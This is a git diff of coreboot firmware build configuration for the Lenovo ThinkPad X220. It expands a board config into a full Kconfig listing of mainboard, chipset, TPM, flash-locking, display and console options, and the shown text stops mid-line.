CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" +# CONFIG_PAYLOAD_IS_FLAT_BINARY is not set +CONFIG_COMPRESS_SECONDARY_PAYLOAD=y + +# +# Secondary Payloads +# +# CONFIG_COREINFO_SECONDARY_PAYLOAD is not set +# CONFIG_GRUB2_SECONDARY_PAYLOAD is not set +# CONFIG_MEMTEST_SECONDARY_PAYLOAD is not set +# CONFIG_NVRAMCUI_SECONDARY_PAYLOAD is not set +# CONFIG_SEABIOS_SECONDARY_PAYLOAD is not set +# CONFIG_TINT_SECONDARY_PAYLOAD is not set +# CONFIG_COREDOOM_SECONDARY_PAYLOAD is not set +# end of Secondary Payloads +# end of Payload + +# +# Debugging +# + +# +# CPU Debug Settings +# +# CONFIG_DISPLAY_MTRRS is not set + +# +# Vendorcode Debug Settings +# + +# +# BLOB Debug Settings +# + +# +# General Debug Settings +# +# CONFIG_FATAL_ASSERTS is not set +# CONFIG_DEBUG_CBFS is not set +CONFIG_HAVE_DEBUG_SMBUS=y +# CONFIG_DEBUG_SMBUS is not set +# CONFIG_DEBUG_MALLOC is not set +# CONFIG_DEBUG_CONSOLE_INIT is not set +# CONFIG_DEBUG_SPI_FLASH is not set +# CONFIG_DEBUG_BOOT_STATE is not set +# CONFIG_DEBUG_ADA_CODE is not set +CONFIG_HAVE_EM100_SUPPORT=y +# CONFIG_EM100 is not set +# CONFIG_DEBUG_ACPICA_COMPATIBLE is not set +# end of Debugging + +CONFIG_RAMSTAGE_ADA=y +CONFIG_RAMSTAGE_LIBHWBASE=y +CONFIG_HWBASE_DYNAMIC_MMIO=y +CONFIG_HWBASE_DEFAULT_MMCONF=0xf0000000 +CONFIG_HWBASE_DIRECT_PCIDEV=y +CONFIG_DECOMPRESS_OFAST=y +CONFIG_WARNINGS_ARE_ERRORS=y +CONFIG_MAX_REBOOT_CNT=3 +CONFIG_RELOCATABLE_MODULES=y +CONFIG_HAVE_BOOTBLOCK=y +CONFIG_HAVE_ROMSTAGE=y +CONFIG_HAVE_RAMSTAGE=y diff --git a/config/coreboot-x220-maximized.config b/config/coreboot-x220-maximized.config index 0fb4e5be1..ba308ff7a 100644 --- a/config/coreboot-x220-maximized.config +++ b/config/coreboot-x220-maximized.config @@ -1,28 +1,712 @@ +# +# Automatically generated file; DO NOT EDIT. +# coreboot configuration +# + +# +# General setup +# +CONFIG_COREBOOT_BUILD=y +CONFIG_LOCALVERSION="" +CONFIG_CBFS_PREFIX="fallback" +CONFIG_COMPILER_GCC=y +# CONFIG_COMPILER_LLVM_CLANG is not set +CONFIG_ARCH_SUPPORTS_CLANG=y +# CONFIG_ANY_TOOLCHAIN is not set +# CONFIG_CCACHE is not set +# CONFIG_IWYU is not set +# CONFIG_FMD_GENPARSER is not set +# CONFIG_UTIL_GENPARSER is not set +CONFIG_OPTION_BACKEND_NONE=y +# CONFIG_USE_OPTION_TABLE is not set +CONFIG_COMPRESS_RAMSTAGE_LZMA=y +# CONFIG_COMPRESS_RAMSTAGE_LZ4 is not set +CONFIG_SEPARATE_ROMSTAGE=y +CONFIG_INCLUDE_CONFIG_FILE=y +CONFIG_COLLECT_TIMESTAMPS=y +# CONFIG_TIMESTAMPS_ON_CONSOLE is not set # CONFIG_USE_BLOBS is not set +# CONFIG_COVERAGE is not set +# CONFIG_UBSAN is not set +CONFIG_HAVE_ASAN_IN_RAMSTAGE=y +# CONFIG_ASAN is not set +# CONFIG_NO_STAGE_CACHE is not set +CONFIG_TSEG_STAGE_CACHE=y +# CONFIG_UPDATE_IMAGE is not set CONFIG_BOOTSPLASH_IMAGE=y CONFIG_BOOTSPLASH_FILE="@BRAND_DIR@/bootsplash.jpg" CONFIG_BOOTSPLASH_CONVERT=y CONFIG_BOOTSPLASH_CONVERT_QUALITY=70 +# CONFIG_BOOTSPLASH_CONVERT_RESIZE is not set +# CONFIG_BOOTSPLASH_CONVERT_COLORSWAP is not set +# CONFIG_FW_CONFIG is not set + +# +# Software Bill Of Materials (SBOM) +# +# CONFIG_SBOM is not set +# end of Software Bill Of Materials (SBOM) +# end of General setup + +# +# Mainboard +# + +# +# Important: Run 'make distclean' before switching boards +# +# CONFIG_VENDOR_51NB is not set +# CONFIG_VENDOR_ACER is not set +# CONFIG_VENDOR_ADLINK is not set +# CONFIG_VENDOR_AMD is not set +# CONFIG_VENDOR_AOPEN is not set +# CONFIG_VENDOR_APPLE is not set +# CONFIG_VENDOR_ASROCK is not set +# CONFIG_VENDOR_ASUS is not set +# CONFIG_VENDOR_BIOSTAR is not set +# CONFIG_VENDOR_BOSTENTECH is not set +# CONFIG_VENDOR_BYTEDANCE is not set +# CONFIG_VENDOR_CAVIUM is not set +# CONFIG_VENDOR_CLEVO is not set +# CONFIG_VENDOR_COMPULAB is not set +# CONFIG_VENDOR_DELL is not set +# CONFIG_VENDOR_EMULATION is not set +# CONFIG_VENDOR_EXAMPLE is not set +# CONFIG_VENDOR_FACEBOOK is not set +# CONFIG_VENDOR_FOXCONN is not set +# CONFIG_VENDOR_GETAC is not set +# CONFIG_VENDOR_GIGABYTE is not set +# CONFIG_VENDOR_GOOGLE is not set +# CONFIG_VENDOR_HP is not set +# CONFIG_VENDOR_IBASE is not set +# CONFIG_VENDOR_IBM is not set +# CONFIG_VENDOR_INTEL is not set +# CONFIG_VENDOR_INVENTEC is not set +# CONFIG_VENDOR_KONTRON is not set CONFIG_VENDOR_LENOVO=y +# CONFIG_VENDOR_LIBRETREND is not set +# CONFIG_VENDOR_MSI is not set +# CONFIG_VENDOR_OCP is not set +# CONFIG_VENDOR_OPENCELLULAR is not set +# CONFIG_VENDOR_PACKARDBELL is not set +# CONFIG_VENDOR_PCENGINES is not set +# CONFIG_VENDOR_PINE64 is not set +# CONFIG_VENDOR_PORTWELL is not set +# CONFIG_VENDOR_PRODRIVE is not set +# CONFIG_VENDOR_PROTECTLI is not set +# CONFIG_VENDOR_PURISM is not set +# CONFIG_VENDOR_RAZER is not set +# CONFIG_VENDOR_RODA is not set +# CONFIG_VENDOR_SAMSUNG is not set +# CONFIG_VENDOR_SAPPHIRE is not set +# CONFIG_VENDOR_SIEMENS is not set +# CONFIG_VENDOR_SIFIVE is not set +# CONFIG_VENDOR_STARLABS is not set +# CONFIG_VENDOR_SUPERMICRO is not set +# CONFIG_VENDOR_SYSTEM76 is not set +# CONFIG_VENDOR_TI is not set +# CONFIG_VENDOR_UP is not set +CONFIG_BOARD_SPECIFIC_OPTIONS=y +CONFIG_MAINBOARD_FAMILY="ThinkPad X220" +CONFIG_MAINBOARD_PART_NUMBER="ThinkPad X220" +CONFIG_MAINBOARD_VERSION="1.0" +CONFIG_MAINBOARD_DIR="lenovo/x220" +CONFIG_VGA_BIOS_ID="8086,0126" +CONFIG_DIMM_MAX=4 +CONFIG_DIMM_SPD_SIZE=256 +CONFIG_FMDFILE="" CONFIG_NO_POST=y +CONFIG_MAINBOARD_VENDOR="LENOVO" CONFIG_CBFS_SIZE=0x7E7FFF +CONFIG_LINEAR_FRAMEBUFFER_MAX_HEIGHT=1600 +CONFIG_LINEAR_FRAMEBUFFER_MAX_WIDTH=2560 +CONFIG_MAX_CPUS=8 +# CONFIG_ONBOARD_VGA_IS_PRIMARY is not set +CONFIG_DEVICETREE="devicetree.cb" +# CONFIG_VBOOT is not set +CONFIG_VARIANT_DIR="x220" +CONFIG_OVERRIDE_DEVICETREE="variants/$(CONFIG_VARIANT_DIR)/overridetree.cb" +# CONFIG_VGA_BIOS is not set +CONFIG_MAINBOARD_SMBIOS_MANUFACTURER="LENOVO" +CONFIG_DRAM_RESET_GATE_GPIO=10 +CONFIG_INTEL_GMA_VBT_FILE="src/mainboard/$(MAINBOARDDIR)/variants/$(VARIANT_DIR)/data.vbt" +CONFIG_PRERAM_CBMEM_CONSOLE_SIZE=0xc00 +CONFIG_CMOS_DEFAULT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.default" +CONFIG_CMOS_LAYOUT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.layout" +CONFIG_USBDEBUG_HCD_INDEX=2 +CONFIG_BOOT_DEVICE_SPI_FLASH_BUS=0 +CONFIG_TPM_PIRQ=0x0 +CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xf0000000 +CONFIG_ECAM_MMCONF_BUS_NUMBER=64 +CONFIG_MEMLAYOUT_LD_FILE="src/arch/x86/memlayout.ld" +CONFIG_VBOOT_SLOTS_RW_A=y +CONFIG_DCACHE_RAM_BASE=0xfefe0000 +CONFIG_DCACHE_RAM_SIZE=0x20000 +CONFIG_C_ENV_BOOTBLOCK_SIZE=0x40000 +CONFIG_DCACHE_BSP_STACK_SIZE=0x10000 +CONFIG_MAX_ACPI_TABLE_SIZE_KB=144 +CONFIG_HAVE_INTEL_FIRMWARE=y +CONFIG_MRC_SETTINGS_CACHE_SIZE=0x10000 +CONFIG_SPI_FLASH_INCLUDE_ALL_DRIVERS=y +CONFIG_SPI_FLASH_WINBOND=y +CONFIG_DRIVERS_INTEL_WIFI=y CONFIG_IFD_BIN_PATH="@BLOB_DIR@/xx20/ifd.bin" CONFIG_ME_BIN_PATH="@BLOB_DIR@/xx20/me.bin" CONFIG_GBE_BIN_PATH="@BLOB_DIR@/xx20/gbe.bin" CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x80000 +CONFIG_CARDBUS_PLUGIN_SUPPORT=y +CONFIG_SPI_FLASH_GIGADEVICE=y +CONFIG_SPI_FLASH_STMICRO=y +# CONFIG_DEBUG_SMI is not set +CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="ThinkPad X220" CONFIG_HAVE_IFD_BIN=y +CONFIG_PCIEXP_HOTPLUG_BUSES=8 +CONFIG_PCIEXP_HOTPLUG_MEM=0x800000 +CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM=0x10000000 +# CONFIG_BOARD_LENOVO_THINKPAD_T440P is not set +# CONFIG_BOARD_LENOVO_THINKPAD_W541 is not set +# CONFIG_BOARD_LENOVO_L520 is not set +# CONFIG_BOARD_LENOVO_S230U is not set +# CONFIG_BOARD_LENOVO_T400 is not set +# CONFIG_BOARD_LENOVO_T500 is not set +# CONFIG_BOARD_LENOVO_R400 is not set +# CONFIG_BOARD_LENOVO_R500 is not set +# CONFIG_BOARD_LENOVO_W500 is not set +# CONFIG_BOARD_LENOVO_T410 is not set +# CONFIG_BOARD_LENOVO_T420 is not set +# CONFIG_BOARD_LENOVO_T420S is not set +# CONFIG_BOARD_LENOVO_THINKPAD_T430 is not set +# CONFIG_BOARD_LENOVO_T430S is not set +# CONFIG_BOARD_LENOVO_T431S is not set +# CONFIG_BOARD_LENOVO_T520 is not set +# CONFIG_BOARD_LENOVO_W520 is not set +# CONFIG_BOARD_LENOVO_T530 is not set +# CONFIG_BOARD_LENOVO_W530 is not set +# CONFIG_BOARD_LENOVO_T60 is not set +# CONFIG_BOARD_LENOVO_Z61T is not set +# CONFIG_BOARD_LENOVO_R60 is not set +# CONFIG_BOARD_LENOVO_THINKCENTRE_A58 is not set +# CONFIG_BOARD_LENOVO_X131E is not set +# CONFIG_BOARD_LENOVO_X1_CARBON_GEN1 is not set +# CONFIG_BOARD_LENOVO_X200 is not set +# CONFIG_BOARD_LENOVO_X301 is not set +# CONFIG_BOARD_LENOVO_X201 is not set CONFIG_BOARD_LENOVO_X220=y +# CONFIG_BOARD_LENOVO_X220I is not set +# CONFIG_BOARD_LENOVO_X1 is not set +# CONFIG_BOARD_LENOVO_X230 is not set +# CONFIG_BOARD_LENOVO_X230T is not set +# CONFIG_BOARD_LENOVO_X230S is not set +# CONFIG_BOARD_LENOVO_X230_EDP is not set +# CONFIG_BOARD_LENOVO_X60 is not set +CONFIG_DRIVER_LENOVO_SERIALS=y +CONFIG_PS2K_EISAID="PNP0303" +CONFIG_PS2M_EISAID="LEN0020" +CONFIG_THINKPADEC_HKEY_EISAID="IBM0068" +CONFIG_GFX_GMA_PANEL_1_PORT="LVDS" +CONFIG_D3COLD_SUPPORT=y +CONFIG_PCIEXP_ASPM=y +# CONFIG_PCIEXP_L1_SUB_STATE is not set +# CONFIG_PCIEXP_CLK_PM is not set +# CONFIG_DRIVERS_UART_8250IO is not set +CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 +CONFIG_EC_GPE_SCI=0x50 CONFIG_TPM_MEASURED_BOOT=y CONFIG_LINUX_COMMAND_LINE="quiet loglevel=2" +CONFIG_BOARD_ROMSIZE_KB_8192=y +# CONFIG_COREBOOT_ROMSIZE_KB_256 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_512 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_1024 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_2048 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_4096 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_5120 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_6144 is not set +CONFIG_COREBOOT_ROMSIZE_KB_8192=y +# CONFIG_COREBOOT_ROMSIZE_KB_10240 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_12288 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_16384 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_24576 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_32768 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_65536 is not set +CONFIG_COREBOOT_ROMSIZE_KB=8192 +CONFIG_ROM_SIZE=0x00800000 +CONFIG_HAVE_POWER_STATE_AFTER_FAILURE=y +CONFIG_HAVE_POWER_STATE_PREVIOUS_AFTER_FAILURE=y +CONFIG_POWER_STATE_OFF_AFTER_FAILURE=y +# CONFIG_POWER_STATE_ON_AFTER_FAILURE is not set +# CONFIG_POWER_STATE_PREVIOUS_AFTER_FAILURE is not set +CONFIG_MAINBOARD_POWER_FAILURE_STATE=0 +# end of Mainboard + +CONFIG_SYSTEM_TYPE_LAPTOP=y + +# +# Chipset +# + +# +# SoC +# +CONFIG_CHIPSET_DEVICETREE="northbridge/intel/sandybridge/chipset.cb" +CONFIG_CBFS_MCACHE_SIZE=0x4000 +CONFIG_ROMSTAGE_ADDR=0x2000000 +CONFIG_VERSTAGE_ADDR=0x2000000 +CONFIG_SMM_TSEG_SIZE=0x800000 +CONFIG_SMM_RESERVED_SIZE=0x100000 +CONFIG_SMM_MODULE_STACK_SIZE=0x400 +# CONFIG_USE_EXP_X86_64_SUPPORT is not set +CONFIG_SERIRQ_CONTINUOUS_MODE=y +CONFIG_PRERAM_CBFS_CACHE_SIZE=0x0 +CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xfe000000 +CONFIG_EHCI_BAR=0xfef00000 +CONFIG_ACPI_CPU_STRING="CP%02X" +CONFIG_STACK_SIZE=0x2000 +CONFIG_IED_REGION_SIZE=0x400000 +CONFIG_INTEL_GMA_BCLV_OFFSET=0x48254 +CONFIG_INTEL_GMA_BCLV_WIDTH=16 +CONFIG_INTEL_GMA_BCLM_OFFSET=0xc8256 +CONFIG_INTEL_GMA_BCLM_WIDTH=16 +CONFIG_BOOTBLOCK_IN_CBFS=y +CONFIG_DCACHE_RAM_MRC_VAR_SIZE=0x0 +CONFIG_HPET_MIN_TICKS=0x80 +CONFIG_FIXED_MCHBAR_MMIO_BASE=0xfed10000 +CONFIG_FIXED_DMIBAR_MMIO_BASE=0xfed18000 +CONFIG_FIXED_EPBAR_MMIO_BASE=0xfed19000 +CONFIG_PCIEXP_COMMON_CLOCK=y +CONFIG_SOC_PHYSICAL_ADDRESS_WIDTH=0 +CONFIG_FIXED_SMBUS_IO_BASE=0x400 +CONFIG_CBFS_CACHE_ALIGN=8 + +# +# CPU +# +CONFIG_CPU_INTEL_MODEL_206AX=y +CONFIG_CPU_INTEL_COMMON=y +CONFIG_ENABLE_VMX=y +CONFIG_SET_IA32_FC_LOCK_BIT=y +CONFIG_SET_MSR_AESNI_LOCK_BIT=y +CONFIG_CPU_INTEL_COMMON_TIMEBASE=y +CONFIG_CPU_INTEL_COMMON_SMM=y +CONFIG_MICROCODE_UPDATE_PRE_RAM=y +CONFIG_PARALLEL_MP=y +CONFIG_XAPIC_ONLY=y +# CONFIG_X2APIC_ONLY is not set +# CONFIG_X2APIC_RUNTIME is not set +# CONFIG_X2APIC_LATE_WORKAROUND is not set +CONFIG_UDELAY_TSC=y +CONFIG_TSC_MONOTONIC_TIMER=y +CONFIG_TSC_SYNC_MFENCE=y +CONFIG_HAVE_SMI_HANDLER=y +CONFIG_SMM_TSEG=y +CONFIG_SMM_PCI_RESOURCE_STORE_NUM_SLOTS=8 +CONFIG_AP_STACK_SIZE=0x800 +CONFIG_SMP=y +CONFIG_SSE=y +CONFIG_SSE2=y +CONFIG_SUPPORT_CPU_UCODE_IN_CBFS=y +CONFIG_USE_CPU_MICROCODE_CBFS_BINS=y +CONFIG_CPU_MICROCODE_CBFS_DEFAULT_BINS=y +# CONFIG_CPU_MICROCODE_CBFS_EXTERNAL_BINS is not set +# CONFIG_CPU_MICROCODE_CBFS_EXTERNAL_HEADER is not set +# CONFIG_CPU_MICROCODE_CBFS_NONE is not set + +# +# Northbridge +# +CONFIG_USE_NATIVE_RAMINIT=y +CONFIG_NORTHBRIDGE_INTEL_SANDYBRIDGE=y +# CONFIG_NATIVE_RAMINIT_IGNORE_MAX_MEM_FUSES is not set +# CONFIG_NATIVE_RAMINIT_IGNORE_XMP_MAX_DIMMS is not set +# CONFIG_NATIVE_RAMINIT_IGNORE_XMP_REQUESTED_VOLTAGE is not set +# CONFIG_RAMINIT_ALWAYS_ALLOW_DLL_OFF is not set +CONFIG_RAMINIT_ENABLE_ECC=y + +# +# Southbridge +# +CONFIG_SOUTHBRIDGE_INTEL_BD82X6X_COMMON=y +CONFIG_SOUTHBRIDGE_INTEL_C216=y +# CONFIG_HIDE_MEI_ON_ERROR is not set +CONFIG_PCIEXP_HOTPLUG=y +CONFIG_INTEL_DESCRIPTOR_MODE_REQUIRED=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_RESET=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_RTC=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_PMCLIB=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_PMBASE=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_GPIO=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_ME=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_EARLY_SMBUS=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_SMBUS=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_SPI=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_SPI_ICH9=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_PIRQ_ACPI_GEN=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_RCBA_PIRQ=y +CONFIG_HAVE_INTEL_CHIPSET_LOCKDOWN=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_SMM=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_FINALIZE=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_USB_DEBUG=y +CONFIG_INTEL_DESCRIPTOR_MODE_CAPABLE=y +# CONFIG_VALIDATE_INTEL_DESCRIPTOR is not set # CONFIG_INTEL_CHIPSET_LOCKDOWN is not set +CONFIG_TCO_SPACE_NOT_YET_SPLIT=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_WATCHDOG=y +CONFIG_FIXED_RCBA_MMIO_BASE=0xfed1c000 +CONFIG_RCBA_LENGTH=0x4000 + +# +# Super I/O +# + +# +# Embedded Controllers +# +CONFIG_EC_ACPI=y +CONFIG_EC_LENOVO_H8=y +CONFIG_H8_BEEP_ON_DEATH=y +CONFIG_H8_FLASH_LEDS_ON_DEATH=y +# CONFIG_H8_SUPPORT_BT_ON_WIFI is not set +# CONFIG_H8_FN_CTRL_SWAP is not set +CONFIG_H8_HAS_BAT_THRESHOLDS_IMPL=y +CONFIG_EC_LENOVO_PMH7=y + +# +# Intel Firmware +# CONFIG_HAVE_ME_BIN=y +# CONFIG_STITCH_ME_BIN is not set +# CONFIG_CHECK_ME is not set +# CONFIG_ME_REGION_ALLOW_CPU_READ_ACCESS is not set +# CONFIG_USE_ME_CLEANER is not set +CONFIG_MAINBOARD_USES_IFD_GBE_REGION=y CONFIG_HAVE_GBE_BIN=y +# CONFIG_DO_NOT_TOUCH_DESCRIPTOR_REGION is not set +# CONFIG_LOCK_MANAGEMENT_ENGINE is not set +CONFIG_UNLOCK_FLASH_REGIONS=y +CONFIG_ARCH_X86=y +CONFIG_ARCH_BOOTBLOCK_X86_32=y +CONFIG_ARCH_VERSTAGE_X86_32=y +CONFIG_ARCH_ROMSTAGE_X86_32=y +CONFIG_ARCH_POSTCAR_X86_32=y +CONFIG_ARCH_RAMSTAGE_X86_32=y +CONFIG_ARCH_ALL_STAGES_X86_32=y +CONFIG_HAVE_EXP_X86_64_SUPPORT=y +CONFIG_RESERVED_PHYSICAL_ADDRESS_BITS_SUPPORT=y +CONFIG_X86_TOP4G_BOOTMEDIA_MAP=y +CONFIG_POSTRAM_CBFS_CACHE_IN_BSS=y +CONFIG_RAMSTAGE_CBFS_CACHE_SIZE=0x4000 +CONFIG_PC80_SYSTEM=y +CONFIG_HAVE_CMOS_DEFAULT=y +CONFIG_POSTCAR_STAGE=y +CONFIG_BOOTBLOCK_SIMPLE=y +# CONFIG_BOOTBLOCK_NORMAL is not set +CONFIG_COLLECT_TIMESTAMPS_TSC=y +CONFIG_HAVE_CF9_RESET=y +CONFIG_DEBUG_HW_BREAKPOINTS=y +CONFIG_DEBUG_NULL_DEREF_BREAKPOINTS=y +# CONFIG_DUMP_SMBIOS_TYPE17 is not set +# end of Chipset + +# +# Devices +# +CONFIG_HAVE_VGA_TEXT_FRAMEBUFFER=y +CONFIG_HAVE_LINEAR_FRAMEBUFFER=y +CONFIG_MAINBOARD_HAS_LIBGFXINIT=y +CONFIG_MAINBOARD_USE_LIBGFXINIT=y +# CONFIG_VGA_ROM_RUN is not set +# CONFIG_NO_GFX_INIT is not set +CONFIG_NO_EARLY_GFX_INIT=y + +# +# Display +# +# CONFIG_VGA_TEXT_FRAMEBUFFER is not set CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y +CONFIG_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y +CONFIG_HEAP_SIZE=0x400000 +# end of Display + +CONFIG_PCI=y +CONFIG_ECAM_MMCONF_SUPPORT=y +CONFIG_PCIX_PLUGIN_SUPPORT=y +CONFIG_AZALIA_HDA_CODEC_SUPPORT=y +CONFIG_PCIEXP_PLUGIN_SUPPORT=y +CONFIG_ECAM_MMCONF_LENGTH=0x04000000 +CONFIG_PCI_ALLOW_BUS_MASTER=y +CONFIG_PCI_SET_BUS_MASTER_PCI_BRIDGES=y +CONFIG_PCI_ALLOW_BUS_MASTER_ANY_DEVICE=y +# CONFIG_PCIEXP_SUPPORT_RESIZABLE_BARS is not set +# CONFIG_PCIEXP_LANE_ERR_STAT_CLEAR is not set +CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM_ABOVE_4G=y +# CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM_BELOW_4G is not set CONFIG_PCIEXP_HOTPLUG_IO=0x2000 +# CONFIG_EARLY_PCI_BRIDGE is not set +CONFIG_SUBSYSTEM_VENDOR_ID=0x0000 +CONFIG_SUBSYSTEM_DEVICE_ID=0x0000 +CONFIG_INTEL_GMA_HAVE_VBT=y +CONFIG_INTEL_GMA_ADD_VBT=y +# CONFIG_SOFTWARE_I2C is not set +CONFIG_I2C_TRANSFER_TIMEOUT_US=500000 +CONFIG_RESOURCE_ALLOCATION_TOP_DOWN=y +CONFIG_USE_DDR3=y +# end of Devices + +# +# Generic Drivers +# +CONFIG_CRB_TPM_BASE_ADDRESS=0xfed40000 +# CONFIG_ELOG is not set +CONFIG_CACHE_MRC_SETTINGS=y +# CONFIG_MRC_SETTINGS_PROTECT is not set +# CONFIG_SMMSTORE is not set +CONFIG_SPI_FLASH=y +CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP=y +CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP_EARLY=y +# CONFIG_SPI_FLASH_NO_FAST_READ is not set +CONFIG_SPI_FLASH_ADESTO=y +CONFIG_SPI_FLASH_AMIC=y +CONFIG_SPI_FLASH_ATMEL=y +CONFIG_SPI_FLASH_EON=y +CONFIG_SPI_FLASH_MACRONIX=y +CONFIG_SPI_FLASH_SPANSION=y +CONFIG_SPI_FLASH_SST=y +CONFIG_SPI_FLASH_ISSI=y +CONFIG_TPM_INIT_RAMSTAGE=y +# CONFIG_TPM_PPI is not set +CONFIG_NO_UART_ON_SUPERIO=y +# CONFIG_DRIVERS_UART_OXPCIE is not set +CONFIG_HAVE_USBDEBUG=y +CONFIG_HAVE_USBDEBUG_OPTIONS=y CONFIG_USBDEBUG=y +CONFIG_USBDEBUG_IN_PRE_RAM=y +CONFIG_USBDEBUG_DEFAULT_PORT=0 +CONFIG_USBDEBUG_DONGLE_STD=y +# CONFIG_USBDEBUG_DONGLE_BEAGLEBONE is not set +# CONFIG_USBDEBUG_DONGLE_FTDI_FT232H is not set +# CONFIG_USBDEBUG_DONGLE_WCH_CH347 is not set +CONFIG_USBDEBUG_OPTIONAL_HUB_PORT=0 +# CONFIG_VPD is not set +# CONFIG_DRIVERS_GENERIC_CBFS_SERIAL is not set +# CONFIG_DRIVERS_GENERIC_CBFS_UUID is not set +# CONFIG_DRIVERS_GENESYSLOGIC_GL9750 is not set +# CONFIG_DRIVERS_GENESYSLOGIC_GL9755 is not set +# CONFIG_DRIVERS_GENESYSLOGIC_GL9763E is not set +# CONFIG_DRIVERS_I2C_MAX98396 is not set +CONFIG_INTEL_INT15=y +CONFIG_INTEL_GMA_ACPI=y +CONFIG_VBT_CBFS_COMPRESSION_LZMA=y +# CONFIG_VBT_CBFS_COMPRESSION_LZ4 is not set +# CONFIG_VBT_CBFS_COMPRESSION_NONE is not set +CONFIG_VBT_CBFS_COMPRESSION_ALGORITHM="lzma" +CONFIG_GFX_GMA=y +CONFIG_GFX_GMA_PANEL_1_ON_LVDS=y +CONFIG_GFX_GMA_DYN_CPU=y +CONFIG_GFX_GMA_GENERATION="Ironlake" +CONFIG_GFX_GMA_PCH="Cougar_Point" +CONFIG_GFX_GMA_PANEL_2_PORT="Disabled" +CONFIG_GFX_GMA_ANALOG_I2C_PORT="PCH_DAC" +# CONFIG_DRIVERS_NXP_UWB_SR1XX is not set CONFIG_DRIVERS_PS2_KEYBOARD=y +CONFIG_DRIVERS_MC146818=y +CONFIG_USE_PC_CMOS_ALTCENTURY=y +CONFIG_PC_CMOS_BASE_PORT_BANK0=0x70 +CONFIG_MEMORY_MAPPED_TPM=y +CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 +CONFIG_DRIVERS_RICOH_RCE822=y +# CONFIG_DRIVERS_SIL_3114 is not set +CONFIG_DRIVERS_WIFI_GENERIC=y +CONFIG_DRIVERS_MTK_WIFI=y +# end of Generic Drivers + +# +# Security +# + +# +# CBFS verification +# +# CONFIG_CBFS_VERIFICATION is not set +# end of CBFS verification + +# +# Verified Boot (vboot) +# +CONFIG_VBOOT_LIB=y +# end of Verified Boot (vboot) + +# +# Trusted Platform Module +# +# CONFIG_NO_TPM is not set +CONFIG_TPM1=y +CONFIG_TPM=y +CONFIG_MAINBOARD_HAS_TPM1=y +# CONFIG_TPM_DEACTIVATE is not set +# CONFIG_DEBUG_TPM is not set +# CONFIG_TPM_RDRESP_NEED_DELAY is not set +# CONFIG_TPM_LOG_CB is not set +CONFIG_TPM_LOG_TPM1=y +CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" +CONFIG_PCR_BOOT_MODE=1 +CONFIG_PCR_HWID=1 +CONFIG_PCR_SRTM=2 +CONFIG_PCR_FW_VER=10 +CONFIG_PCR_RUNTIME_DATA=3 +# end of Trusted Platform Module + +# +# Memory initialization +# +CONFIG_PLATFORM_HAS_DRAM_CLEAR=y +# CONFIG_SECURITY_CLEAR_DRAM_ON_REGULAR_BOOT is not set +# end of Memory initialization + +# CONFIG_INTEL_TXT is not set +# CONFIG_STM is not set +# CONFIG_BOOTMEDIA_LOCK_NONE is not set CONFIG_BOOTMEDIA_LOCK_CONTROLLER=y +# CONFIG_BOOTMEDIA_LOCK_CHIP is not set +CONFIG_BOOTMEDIA_LOCK_WHOLE_RO=y +# CONFIG_BOOTMEDIA_LOCK_WHOLE_NO_ACCESS is not set +# CONFIG_BOOTMEDIA_SMM_BWP is not set +# end of Security + +CONFIG_ACPI_HAVE_PCAT_8259=y +CONFIG_ACPI_INTEL_HARDWARE_SLEEP_VALUES=y +CONFIG_ACPI_SOC_NVS=y +CONFIG_ACPI_NO_CUSTOM_MADT=y +CONFIG_ACPI_COMMON_MADT_LAPIC=y +CONFIG_ACPI_COMMON_MADT_IOAPIC=y +CONFIG_HAVE_ACPI_TABLES=y +CONFIG_BOOT_DEVICE_SPI_FLASH=y +CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y +CONFIG_BOOT_DEVICE_SUPPORTS_WRITES=y +CONFIG_RTC=y + +# +# Console +# +CONFIG_BOOTBLOCK_CONSOLE=y +CONFIG_POSTCAR_CONSOLE=y +CONFIG_SQUELCH_EARLY_SMP=y +# CONFIG_SPKMODEM is not set +CONFIG_CONSOLE_USB=y +# CONFIG_CONSOLE_NE2K is not set +CONFIG_CONSOLE_CBMEM=y +# CONFIG_CONSOLE_CBMEM_DUMP_TO_UART is not set +# CONFIG_CONSOLE_SPI_FLASH is not set +# CONFIG_CONSOLE_I2C_SMBUS is 